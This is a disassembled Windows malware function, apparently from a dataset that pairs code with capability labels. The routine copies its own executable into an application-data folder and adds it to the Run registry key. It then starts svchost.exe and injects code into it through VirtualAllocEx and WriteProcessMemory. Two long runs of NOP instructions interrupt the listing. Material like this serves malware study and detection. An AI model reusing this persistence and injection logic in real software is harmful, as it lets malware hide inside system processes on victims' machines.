Function at 0x407540
Capabilities:
Accept command line arguments
Copy file
Create directory
Create process on windows
Execute shellcode via indirect call
Get common file path
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4241e8
push 0x409274
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbd0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor edi, edi
mov dword [ebp - 0x1c], edi
xor eax, eax
mov word [ebp - 0x9d4], ax
push 0x208
push edi
lea ecx, [ebp - 0x9d2]
push ecx
call sub.msvcrt.dll_memset
xor edx, edx
mov word [ebp - 0x9c], dx
push 0x62
push edi
lea eax, [ebp - 0x9a]
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
mov dword [ebp - 0x28], edi
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
cmp dword [ebp - 0x28], 1
jle 0x4077a5
xor edx, edx
mov word [ebp - 0x4b4], dx
push 0x208
push edi
lea eax, [ebp - 0x4b2]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov ecx, dword [esi + 4]
movzx eax, word [ecx]
cmp eax, 0x22
je 0x4075f2
cmp eax, 0x27
jne 0x4075f8
add ecx, 2
mov dword [esi + 4], ecx
mov eax, dword [esi + 4]
lea edx, [ebp - 0x4b4]
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, di
jne 0x407603
lea eax, [ebp - 0x4b4]
lea edx, [eax + 2]
jmp 0x407620
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x407620
sub eax, edx
sar eax, 1
lea eax, [ebp + eax*2 - 0x4b4]
cmp word [eax - 2], 0x22
je 0x407644
cmp word [eax - 2], 0x27
jne 0x40764a
xor ecx, ecx
mov word [eax - 2], cx
xor edx, edx
mov word [ebp - 0x2a8], dx
push 0x208
push edi
lea eax, [ebp - 0x2a6]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x2a8]
push ecx
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x2a8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x407683
sub eax, edx
sar eax, 1
mov ebx, 0x5c
cmp word [ebp + eax*2 - 0x2aa], bx
je 0x4076c4
lea edi, [ebp - 0x2a8]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4076b0
mov edx, dword [0x40a8c8]
mov dword [edi], edx
lea eax, [ebp - 0x4b4]
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4076d0
sub eax, edx
lea edi, [ebp - 0x2a8]
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4076e6
mov ecx, eax
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x2a8]
lea edx, [eax + 2]
jmp 0x407710
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407710
sub eax, edx
sar eax, 1
cmp word [ebp + eax*2 - 0x2aa], bx
je 0x407738
push 1
push 0
push 0
lea eax, [ebp - 0x2a8]
push eax
jmp 0x40779b
xor ecx, ecx
mov word [ebp - 0x4b4], cx
push 0x208
push ecx
lea edx, [ebp - 0x4b2]
push edx
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x4b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edi, [ebp - 0x4b4]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x407771
mov ecx, 7
mov esi, str.explorer.exe
rep movsd dword es:[edi], dword [esi]
push 1
push 0
lea ecx, [ebp - 0x2a8]
push ecx
lea edx, [ebp - 0x4b4]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.00406db0
lea eax, [ebp - 0x9d4]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [ebp - 0x9d4]
push ecx
mov esi, dword [sym.imp.msvcrt.dll__wcslwr]
call esi
lea edx, [ebp - 0x9c]
push edx
mov eax, 0x84889911
call fcn.00401600
add esp, 8
lea eax, [ebp - 0x9c]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x407cac
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
nop
nop
nop
nop
nop
nop
push 0x105
push 0x427c00
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x427c00
call esi
xor ecx, ecx
mov word [ebp - 0xbe0], cx
push 0x208
push ecx
lea edx, [ebp - 0xbde]
push edx
call sub.msvcrt.dll_memset
lea eax, [ebp - 0xbe0]
push eax
mov eax, 0x84889912
call fcn.00401600
xor ecx, ecx
mov word [ebp - 0x7c8], cx
push 0x208
push ecx
lea edx, [ebp - 0x7c6]
push edx
call sub.msvcrt.dll_memset
lea eax, [ebp - 0xbe0]
push eax
lea ecx, [ebp - 0x9d4]
push ecx
push str._s_s
lea edx, [ebp - 0x7c8]
push edx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
call edi
lea eax, [ebp - 0x7c8]
push eax
call esi
add esp, 0x34
lea eax, [ebp - 0x7c8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4078c7
sub eax, edx
sar eax, 1
push eax
push 0x427c00
lea ecx, [ebp - 0x7c8]
push ecx
call dword [sym.imp.msvcrt.dll_wcsncmp]
add esp, 0xc
test eax, eax
je 0x407b06
xor edx, edx
mov word [ebp - 0x4b4], dx
push 0x208
push edx
lea eax, [ebp - 0x4b2]
push eax
call sub.msvcrt.dll_memset
xor ecx, ecx
mov word [ebp - 0x2a8], cx
push 0x208
push ecx
lea edx, [ebp - 0x2a6]
push edx
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x4b4]
push eax
mov eax, 0x1898b122
call fcn.00401600
lea ecx, [ebp - 0x2a8]
push ecx
mov eax, 0x2937498d
call fcn.00401600
add esp, 0x20
lea eax, [ebp - 0x2a6]
movzx ecx, word [eax]
mov word [eax - 2], cx
add eax, 2
test cx, cx
jne 0x407955
push 0x424058
lea edx, [ebp - 0x2a8]
push edx
call dword [sym.imp.msvcrt.dll_wcsstr]
xor ecx, ecx
mov word [eax], cx
lea edx, [ebp - 0x2a8]
push edx
call esi
add esp, 0xc
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x427c00]
mov word [eax + 0x427e10], cx
add eax, 2
test cx, cx
jne 0x407990
push 0x20a
push 0
push 0x427c00
call sub.msvcrt.dll_memset
lea eax, [ebp - 0xbe0]
push eax
lea ecx, [ebp - 0x9d4]
push ecx
push str._s_s
push 0x427c00
call edi
add esp, 0x1c
push 0
push 0x427c00
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, 0x427c00
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4079f0
mov edx, dword [0x40a8c8]
mov dword [edi], edx
lea eax, [ebp - 0x2a8]
mov edx, eax
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407a10
sub eax, edx
mov edi, 0x427c00
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x407a25
mov ecx, eax
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, 0x427c00
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x407a50
mov ecx, dword [str..exe]
mov dword [eax], ecx
mov edx, dword [0x423e54]
mov dword [eax + 4], edx
mov cx, word [0x423e58]
mov word [eax + 8], cx
push 0
push 0x427c00
push 0x427e10
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 4], 0
lea esi, [ebp - 0x4b4]
call fcn.004035d0
jmp 0x407aac
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], 0xffffffff
test eax, eax
jns 0x407ac4
mov dword [0x428020], 1
mov eax, 0x427c00
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407ad0
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
push 0x427c00
push 1
lea eax, [ebp - 0x4b4]
push eax
xor ecx, ecx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov esi, SysReAllocString
call fcn.00402f30
add esp, 0x10
mov byte [ebp - 0x5bc], 0
push 0x104
push 0
lea ecx, [ebp - 0x5bb]
push ecx
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x105
lea edx, [ebp - 0x5bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x5bc]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x407b40
mov ecx, dword [str._svchost.exe]
mov dword [eax], ecx
mov edx, dword [0x424060]
mov dword [eax + 4], edx
mov ecx, dword [0x424064]
mov dword [eax + 8], ecx
mov dl, byte [0x424068]
mov byte [eax + 0xc], dl
push 4
lea eax, [ebp - 0x5bc]
push eax
lea esi, [ebp - 0x1c]
call fcn.004016c0
add esp, 8
mov esi, eax
test esi, esi
je 0x407c93
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407c93
call fcn.00401da0
push 2
push 0
push 0
push 0x427e0c
push esi
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [0x42801c], 1
mov dword [ebp - 0x20], 0
lea edx, [ebp - 0x20]
push edx
mov eax, 0x427c00
call fcn.00402d30
add esp, 4
mov edi, eax
test edi, edi
je 0x407c2a
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x407c27
mov dword [ebp - 0x20], 0
push 0x40
push 0x3000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x428240], eax
mov dword [0x428238], ebx
mov dword [0x42823c], 0
lea ecx, [ebp - 0x20]
push ecx
push ebx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, dword [ebp - 0x1c]
push ebx
push esi
call fcn.00401de0
add esp, 8
test eax, eax
je 0x407c7e
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], ebx
push 0x2bf20
push eax
lea edx, [ebp - 0x38]
push edx
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x407c7e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
mov eax, dword [ebp - 0x24]
mov dword [0x427e0c], eax
mov dword [0x42801c], 0
call fcn.004071e0
jmp 0x407c69
push 0x12345678
call dword [sym.imp.KERNEL32.dll_ExitProcess]